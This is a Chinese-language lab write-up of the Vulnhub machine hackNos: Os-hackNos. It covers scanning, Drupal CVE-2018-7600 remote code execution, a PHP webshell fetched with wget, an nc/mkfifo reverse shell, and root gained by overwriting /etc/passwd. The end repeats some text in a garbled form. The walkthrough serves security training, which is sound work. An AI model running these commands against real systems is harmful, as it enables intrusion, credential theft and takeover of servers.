当前位置: 首页 > news >正文

hackNos靶机

靶机训练1 - hackNos: Os-hackNos

  • 靶机平台

    Vulnhub

    • 是一个提供各种漏洞环境的靶场平台,供安全爱好者学习使用,大部分环境是做好的虚拟机镜像文件,镜像预先设计了多种漏洞,需要使用VMware或者VirtualBox运行。每个镜像会有破解的目标,大多是Boot2root,从启动虚机到获取操作系统的root权限和查看flag。

靶机相关漏洞

前期准备

靶机介绍

  • 靶机下载地址
  • flag:2个flag第一个user.txt和第二个root.txt
  • 学习内容:
    • exploit(利用)
    • Web Application(Web应用程序 )
    • Enumeration(枚举)
    • Privilege Escalation(权限提升)

靶机安装

  • 从靶机下载地址下载靶机的镜像文件

image-20220626174223932

  • 打开vmware,直接导入(打开)虚拟机
    • 有可能遇到的问题
      • vmware的虚拟机无法使用桥接模式联网
      • 原因
        • vmware选择bridged模式时,要把网卡选为真实网卡,不能选到virtualbox的虚拟网卡上
        • VMware打开虚拟网络编程器
        • 去掉VOBX的虚拟网卡 ,或者把自动改为你电脑的网卡

第一步:启动靶机时按下 shift 键,

  • 进入以下界面

image-20230811104648298

第二步:选择第二个选项,然后按下 e 键,进入编辑界面

image-20230811104707659

将这里的ro修改为rw single init=/bin/bash,然后按ctrl+x,进入一个相当于控制台的界面,里面可以执行命令

image-20230811104721458

ip a 查看一下实际用的网卡,这里是ens33

image-20230811104737405

vim /etc/network/interfaces 看一下配置信息用的是哪一个网卡,如果不一致,则将这两个都改成 ens33

  • 按下 i 即可进入编辑模式

image-20230811104752952

/etc/init.d/networking restart 重启网卡服务

  • 启动靶机
    • 靶机默认采用的是桥接模式

image-20220626174642763

渗透流程

1.获取网段

  • 扫描本地网段地址、

找到攻击目标的IP地址

kali命令

1.列出所有网段

netdiscover  -i eth0 -r 192.168.31.0/24

image-20230811095456602

  • 或者通过nmap主机探测的获取其 IP地址

    • nmap -sP 192.168.31.0/24
      -sP: 只进行Ping扫描,使用该选项扫描可以轻易地获取目标信息而不会被轻易发现
      在默认情况下,Nmap会发送一个ICMP请求和一个TCP报文到目标端口
      不会返回太多的信息造成对结果的分析,并且这是一种非常高效的扫描方式
      

image-20230811104431074

2.指定ip进行收集扫描详细信息,

nmap -sV -sC -A  192.168.16.249

-sV 扫描一个主机的所有TCP端口,同时显示服务和版本信息.

-sC 扫描一个主机的所有TCP端口,同时使用默认脚本扫描,脚本在Nmap的安装目录下的scripts目录中

-A 扫描整个网络中的所有主机,探测操作系统类型和版本.

image-20230811104923443

访问页面

image-20230811105036988

2.目录扫描

使用kali下的gobuster工具扫描

 gobuster  dir -u http://192.168.16.249   -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt  

image-20230811110100198

扫描结果访问

http://192.168.16.249/drupal

image-20230811110121193

3.cms获取

浏览器访问可以看到这是一个drupal的一个php的内容管理系统(CMS),

cmseek扫描结果

cmseek -u http://192.168.16.249/drupal/      

image-20230811110340165

image-20230811110634471

访问尝试

http://192.168.16.249/drupal/CHANGELOG.txt

image-20230811110721428

4.exp搜索利用

github搜索

image-20230811111159942
得到poc

image-20230811111610093

kali下载:

git clone https://github.com/pimps/CVE-2018-7600   

image-20230811111822780

下载完成进入目录

执行py获取参数提示

python drupa7-CVE-2018-7600.py -h

image-20230811112107496

该漏洞为远程代码执行

image-20230811112733979

poc利用

 python drupa7-CVE-2018-7600.py  http://192.168.16.249/drupal/ -c whoami

-c可以执行命令

python drupa7-CVE-2018-7600.py  http://192.168.16.249/drupal/ -c ls

列出文件

image-20230811113003484

访问

image-20230811113231195

image-20230811113242723

进入后发现没有内容,需要使用kali下刚刚poc的命令方法访问。

image-20230811113327756

这里加上""号

python drupa7-CVE-2018-7600.py  http://192.168.16.249/drupal/ -c "cat ./sites/default/settings.php" 

看到数据库文件及密码

image-20230811113801687

保存下来

这时候可以尝试扫描 http://192.168.16.249/drupal/下的目录

image-20230811114036487

5.拿shell

1.首先创建你的一句话木马文件

<?php  system($_POST['binge']);   ?>

2.在exp测目录下开启python带的httpserver,查看ip

python -m SimpleHTTPServer
# 如果出现报错:Python – No Module named SimpleHTTPServer
# 这是因为python的http server的module名字变了,改用
python -m http.server 

image-20230811141925771

解释:

启动一个HTTP Server,然后通过访问该服务下载资源。

Python 的标准库中内置了Http Server, 可以通过如下方式使用:

对于 Python3,使用方式为:

python -m http.server # 默认端口号为8000

对于 Python2, 使用方式为:

python -m SimpleHTTPServer # 默认端口号为8000

在浏览器里输入http://localhost:端口 可以访问服务器下的资源。

正常访问:

image-20230811142221090

新建终端,在靶场上传木马文件

  • 借助命令wget
python drupa7-CVE-2018-7600.py  http://192.168.16.249/drupal/  -c  "wget http://192.168.16.180:8000/binge.php"
  • 查看是否上传成功
python drupa7-CVE-2018-7600.py  http://192.168.16.249/drupal/  -c ls 

image-20230811143008378

6.通过代理,抓包改包

访问上传成功的地址,带上后门的地址参数,抓包

http://192.168.16.249/drupal/binge.php?binge=id

image-20230811145629708

发送到repeater模块

image-20230811145000469

发送成功过去到id得出的命令数据

image-20230811145752046

也可以执行其他命令image-20230811145851327

6.反弹shell

1.开启一个终端监听设置监听端口

nc -lvnp 9001

在burp中受害者反弹执行

rm /tmp/f ; mkfifo /tmp/f;cat /tmp/f | /bin/bash -i 2>&1 | nc  192.168.16.249  9001 >/tmp/f

image-20230811160020226

发送没有监听成功,需要进行编码,直接burp中进行 url encode 编码即可:

不一致可以切换 shell

  • python3 -c 'import pty;pty.spawn("/bin/bash")'
    

image-20230811162005858

成功得到反弹shell

ctrl+z将其放到后台中。

image-20230811164653704

7.shell利用

查询当前用户及密码信息

cat /etc/passwd

image-20230811164855610

查看当前存在的用户

cd /homels

image-20230811165142215

看到有个james

james:x:1000:1000:james,,,:/home/james:/bin/bash

查看里面,发现有个user.txt,查看里面内容获取到第一个flag

image-20230811165501213

尝试查看root 目录,发现没有权限

返回上一级目录,看到一个可疑文件 alexander.txt

image-20230811171513580

base64解密

image-20230811171838190

搜索后发现为Brainfuck加密

image-20230811172246832

网上搜索解密:

image-20230811172333822

尝试登录用户james,登录失败

无法进行登录

image-20230811172949298

使用ssh进行连接

失败

ssh James@192.168.16.180

image-20230811173227424

8.提权

只能使用提权了

wget,是可以下载文件的,普通用户也可以执行,可以用来替换我们的/etc/password,需要先把 /etc/passwd 文件中的信息复制并保存到靶机文件目录下

1.把/etc/passwd下的文件全部复制下来

image-20230811174355309

2.生成一个linux账号和密码

工具 kali下的openssl

openssl passwd -1 -salt sb 123456

image-20230811174737416

账号为:sb 密码为:$1$sb$F5r2uVGoXeYu3n6kEFOqz1

新建一个passwd的文件,复制root,替换里面为新建的账号

image-20230811174934523

开了 httpserver服务器

python -m http.server      

访问 127.0.0.1:8000查看文件是否存在

image-20230811175246122

在 shell 中通过wget命令下载并查看是否成功

wget http://192.168.16.180:8000/passwd -O /etc/passwd

image-20230811175600212

wd -1 -salt sb 123456


[外链图片转存中...(img-lEXBfhjd-1691824534371)]

账号为:sb 密码为: 1 1 1sb$F5r2uVGoXeYu3n6kEFOqz1


新建一个passwd的文件,复制root,替换里面为新建的账号[外链图片转存中...(img-4UQk0hen-1691824534371)]开了 httpserver服务器

python -m http.server


访问 127.0.0.1:8000查看文件是否存在[外链图片转存中...(img-1BWBKNjh-1691824534372)]在 shell 中通过wget命令下载并查看是否成功

wget http://192.168.16.180:8000/passwd -O /etc/passwd


[外链图片转存中...(img-A9IgylIi-1691824534372)]切换账号后,即可得到 root 权限

相关文章:

hackNos靶机

靶机训练1 - hackNos: Os-hackNos 靶机平台 Vulnhub 是一个提供各种漏洞环境的靶场平台&#xff0c;供安全爱好者学习使用&#xff0c;大部分环境是做好的虚拟机镜像文件&#xff0c;镜像预先设计了多种漏洞&#xff0c;需要使用VMware或者VirtualBox运行。每个镜像会有破解的目…...

取地址及 const取地址操作符重载

取地址及 const取地址操作符重载 #include <iostream> using namespace std;class A { public:A(int year, int month, int day){_year year;_month month;_day day;}//它们是默认成员函数&#xff0c;我们不写编译器会自动生成&#xff0c;自动生成就够用了&#xff…...

【Linux初阶】进程间通信介绍 管道

&#x1f31f;hello&#xff0c;各位读者大大们你们好呀&#x1f31f; &#x1f36d;&#x1f36d;系列专栏&#xff1a;【Linux初阶】 ✒️✒️本篇内容&#xff1a;进程间通信介绍&#xff0c;管道概述&#xff0c;匿名管道应用&#xff0c;命名管道应用 &#x1f6a2;&#…...

App 在macOS Catalina下提示已损坏无法打开解决办法:

App 在macOS Catalina下提示已损坏无法打开解决办法&#xff1a; 打开终端&#xff1b; 输入以下命令&#xff0c;回车&#xff1b; sudo xattr -d com.apple.quarantine /Applications/xxxx.app注意&#xff1a;/Applications/xxxx.app 换成你的App路径&#xff08;推荐直接…...

ad+硬件每日学习十个知识点(26)23.8.6 (DCDC的降压电路、升压电路、降压-升压电路,同步整流,选型考虑同步、隔离)

文章目录 1.DCDC的降压原理2.DCDC的升压原理3.DCDC的升压和降压原理4.什么是肖特基二极管造成的死区电压&#xff1f;5.MOS管有死区电压么&#xff1f;6.DCDC的同步整流&#xff08;用MOS管取代整流二极管&#xff0c;避免死区电压的影响&#xff09;7.DCDC选型——同步与非同步…...

Elasticsearch3节点集群配置账号密码安全验证

Elasticsearch3节点集群配置账号密码安全验证 ES配置文件 rootnode1:~# grep -Ev "^#|^$" /etc/elasticsearch/elasticsearch.yml cluster.name: es-pre node.name: node1 node.master: true node.data: true path.data: /data/elk/es/data path.logs: /data/elk/…...

ffmepg滤镜

视频按顺时针方向旋转90度 ffplay -vf transpose1 -i juren-30s.mp4 ffplay -f lavfi -i testsrc -vf transpose1 -f lavfi -i testsrc这个滤镜是ffmpeg给用户的一个测试使用的视频 视频水平翻转(左右翻转) -vf hflip 实现慢速播放&#xff0c;声音速度是原始速度的50% ffpla…...

Linux 基础(六)常用命令 - find locate which whereis gzip gunzip tar

find & locate & which & whereis & gzip & gunzip & tar findlocatewhichwhereisgzipgunzipzip/unziptar find 在指定目录下查找文件或目录 find --help Usage: find [-H] [-L] [-P] [-Olevel] [-D help|tree|search|stat|rates|opt|exec] [path...…...

【Ajax】回调地狱解决方法

回调地狱&#xff08;Callback Hell&#xff09;是指在异步编程中&#xff0c;特别是在嵌套的回调函数中&#xff0c;代码变得深度嵌套、难以阅读和维护的现象。这通常发生在处理多个异步操作时&#xff0c;每个操作都依赖于前一个操作的结果。回调地狱使代码变得难以理解、扩展…...

解决Vue根组件设置transition失效的问题

解决Vue根组件设置transition失效的问题 1.代码 <div id"app"><!-- :name"$route.meta.transitionName" --><transition :name"animation" mode"out-in"><router-view /></transition></div>&…...

【剑指 Offer 40】最小的k个数

题目&#xff1a; 输入整数数组 arr &#xff0c;找出其中最小的 k 个数。例如&#xff0c;输入 4、5、1、6、2、7、3、8 这 8 个数字&#xff0c;则最小的 4 个数字是 1、2、3、4。 示例&#xff1a; 输入&#xff1a;arr [3,2,1], k 2 输出&#xff1a;[1,2] 或者 [2,1] …...

vue3+vite在main.ts文件中引入./App.vue报错(./App.vue不是模块)

问题 如下图&#xff1a; 方法一 下载TypeScript Vue Plugin (Volar)插件就不报红了&#xff0c;看它的描述应该就是ts文件可以识别vue文件。 方法二 在src文件夹下添加env.d.ts文件&#xff0c;添加以下代码&#xff1a; declare module *.vue {import type { DefineC…...

【LeetCode】102. 二叉树的层序遍历、107. 二叉树的层序遍历 II

作者&#xff1a;小卢 专栏&#xff1a;《Leetcode》 喜欢的话&#xff1a;世间因为少年的挺身而出&#xff0c;而更加瑰丽。 ——《人民日报》 102. 二叉树的层序遍历 102. 二叉树的层序遍历 给你二叉树的根节点 root &#xff0c;返回其节…...

HTML详解连载(2)

HTML详解连载&#xff08;2&#xff09; 专栏链接 [link](http://t.csdn.cn/xF0H3)下面进行专栏介绍 开始喽超链接作用代码示例解释经验分享 音频标签代码示例注意强调 视频标签代码示例注意强调 列表作用&#xff1a;布局内容排列整齐的区域。分类&#xff1a;无序列表&#x…...

qt事件系统源码-----定时器

qt定时器的使用一般有以下几种方式&#xff1a; 1、直接使用QTimer对象&#xff0c;绑定定时器的timeout信号&#xff1b; 2、使用QTimer的静态方法singleshot方法&#xff0c;产生一个一次性的定时事件 3、在QObject子类中&#xff0c;调用startTimer方法&#xff0c;产生定…...

【Android】ViewBinding+DataBinding+MVVM新手快速上手

为什么写这篇博客 网上大部分博客&#xff0c;代码量都比较大&#xff0c;把实际的业务都代入进去了 这篇博客的目的&#xff0c;就是为了讲解基本原理和使用思路&#xff0c;然后给出一个最简单的Demo 这里不讲解具体用法&#xff0c;那样篇幅会太长&#xff0c;直接看Demo…...

生成式人工智能模型:提升营销分析用户体验

使用生成式人工智能来改善分析体验&#xff0c;使业务用户能够询问有关我们数据平台中可用数据的任何信息。 在本文中&#xff0c;我们将解释如何使用新的生成式人工智能模型 ( LLM ) 来改善业务用户在我们的分析平台上的体验。假设我们为零售销售经理提供 Web 应用程序或移动应…...

【并发编程】无锁环形队列Disruptor并发框架使用

Disruptor 是苹国外厂本易公司LMAX开发的一个高件能列&#xff0c;研发的初夷是解决内存队列的延识问顾在性能测试中发现竟然与10操作处于同样的数量级)&#xff0c;基于Disruptor开发的系统单线程能支撑每秒600万订单&#xff0c;2010年在QCn演讲后&#xff0c;获得了业界关注…...

【C语言】初阶指针详解

大家好&#xff0c;我是苏貝&#xff0c;本篇博客带大家了解C语言中令人头疼的指针&#xff0c;如果大家觉得我写的不错的话&#xff0c;可以给我一个赞&#x1f44d;吗&#xff0c;感谢❤️ 使用的是VS2019编译器&#xff0c;默认为32位平台 文章目录 ①指针是什么②指针定义与…...

ElasticSearch:项目实战(1)

es环境搭建参考&#xff1a;ElasticSearch&#xff1a;环境搭建步骤_Success___的博客-CSDN博客 需求&#xff1a; 用户输入关键可搜索文章列表 关键词高亮显示 文章列表展示与home展示一样&#xff0c;当用户点击某一篇文章&#xff0c;可查看文章详情 思路&#xff1a; …...

深度学习在微纳光子学中的应用

深度学习在微纳光子学中的主要应用方向 深度学习与微纳光子学的结合主要集中在以下几个方向&#xff1a; 逆向设计 通过神经网络快速预测微纳结构的光学响应&#xff0c;替代传统耗时的数值模拟方法。例如设计超表面、光子晶体等结构。 特征提取与优化 从复杂的光学数据中自…...

C++_核心编程_多态案例二-制作饮品

#include <iostream> #include <string> using namespace std;/*制作饮品的大致流程为&#xff1a;煮水 - 冲泡 - 倒入杯中 - 加入辅料 利用多态技术实现本案例&#xff0c;提供抽象制作饮品基类&#xff0c;提供子类制作咖啡和茶叶*//*基类*/ class AbstractDr…...

Appium+python自动化(十六)- ADB命令

简介 Android 调试桥(adb)是多种用途的工具&#xff0c;该工具可以帮助你你管理设备或模拟器 的状态。 adb ( Android Debug Bridge)是一个通用命令行工具&#xff0c;其允许您与模拟器实例或连接的 Android 设备进行通信。它可为各种设备操作提供便利&#xff0c;如安装和调试…...

Nginx server_name 配置说明

Nginx 是一个高性能的反向代理和负载均衡服务器&#xff0c;其核心配置之一是 server 块中的 server_name 指令。server_name 决定了 Nginx 如何根据客户端请求的 Host 头匹配对应的虚拟主机&#xff08;Virtual Host&#xff09;。 1. 简介 Nginx 使用 server_name 指令来确定…...

leetcodeSQL解题:3564. 季节性销售分析

leetcodeSQL解题&#xff1a;3564. 季节性销售分析 题目&#xff1a; 表&#xff1a;sales ---------------------- | Column Name | Type | ---------------------- | sale_id | int | | product_id | int | | sale_date | date | | quantity | int | | price | decimal | -…...

工业自动化时代的精准装配革新:迁移科技3D视觉系统如何重塑机器人定位装配

AI3D视觉的工业赋能者 迁移科技成立于2017年&#xff0c;作为行业领先的3D工业相机及视觉系统供应商&#xff0c;累计完成数亿元融资。其核心技术覆盖硬件设计、算法优化及软件集成&#xff0c;通过稳定、易用、高回报的AI3D视觉系统&#xff0c;为汽车、新能源、金属制造等行…...

如何在最短时间内提升打ctf(web)的水平?

刚刚刷完2遍 bugku 的 web 题&#xff0c;前来答题。 每个人对刷题理解是不同&#xff0c;有的人是看了writeup就等于刷了&#xff0c;有的人是收藏了writeup就等于刷了&#xff0c;有的人是跟着writeup做了一遍就等于刷了&#xff0c;还有的人是独立思考做了一遍就等于刷了。…...

企业如何增强终端安全?

在数字化转型加速的今天&#xff0c;企业的业务运行越来越依赖于终端设备。从员工的笔记本电脑、智能手机&#xff0c;到工厂里的物联网设备、智能传感器&#xff0c;这些终端构成了企业与外部世界连接的 “神经末梢”。然而&#xff0c;随着远程办公的常态化和设备接入的爆炸式…...

【数据分析】R版IntelliGenes用于生物标志物发现的可解释机器学习

禁止商业或二改转载&#xff0c;仅供自学使用&#xff0c;侵权必究&#xff0c;如需截取部分内容请后台联系作者! 文章目录 介绍流程步骤1. 输入数据2. 特征选择3. 模型训练4. I-Genes 评分计算5. 输出结果 IntelliGenesR 安装包1. 特征选择2. 模型训练和评估3. I-Genes 评分计…...

听写流程自动化实践,轻量级教育辅助

随着智能教育工具的发展&#xff0c;越来越多的传统学习方式正在被数字化、自动化所优化。听写作为语文、英语等学科中重要的基础训练形式&#xff0c;也迎来了更高效的解决方案。 这是一款轻量但功能强大的听写辅助工具。它是基于本地词库与可选在线语音引擎构建&#xff0c;…...